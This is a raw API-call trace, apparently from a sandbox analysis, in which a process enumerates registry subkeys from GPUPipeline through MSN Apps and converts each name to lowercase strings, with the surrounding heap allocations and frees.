[0180.183] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.183] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.183] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.183] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x49b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0180.183] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.183] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0180.183] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.183] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.183] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.183] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.183] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x49b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0180.183] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.183] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x49c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0180.183] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.183] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.183] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.183] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.183] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0x49b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0180.183] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.183] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0180.183] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.184] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.184] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.184] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.184] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0x49b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0180.184] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.184] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x49c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0180.184] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.184] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.184] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.184] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.184] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0x49b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0180.184] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.184] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x49c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0180.184] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.184] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.184] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.184] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.184] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0x49b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0180.184] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.184] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x49c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0180.184] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.184] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.184] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.184] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.184] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0x49b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0180.184] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.184] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x49c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0180.185] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.185] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.185] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.185] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.185] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0x49b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0180.185] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.185] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x49c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0180.185] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.185] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.185] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.185] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.185] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0x49b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0180.185] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0180.185] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x49c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0180.185] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.185] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.185] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.185] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.185] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0x49b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0180.185] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0180.185] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x49c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0180.185] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.185] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.185] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.185] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.185] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0x49b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0180.185] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.185] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x49c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0180.186] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.186] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.186] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.186] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.186] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0x49b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0180.186] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.186] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x49c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0180.186] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.186] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.186] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.186] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.186] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0x49b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0180.186] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.186] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x49c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0180.186] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0x49b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0180.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0180.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x49c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0180.186] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0x49b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0180.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0180.186] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0x49b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0180.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0180.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x49c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0180.187] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0x49b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0180.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0180.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x49c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0180.187] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0x49b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0180.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0180.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x49c0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0180.187] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0x49b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0180.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x49c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0180.187] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0x49b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0180.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x49c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0180.187] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0x49b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0180.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x49c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0180.187] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0x49b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0180.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x49c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0180.187] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0x49b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0180.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x49c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0180.188] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0x49b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0180.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x49c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0180.188] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0x49b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0180.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0180.188] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0x49b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0180.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x49c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0180.188] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0x49b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0180.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x49c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0180.188] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0x49b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0180.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x49c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 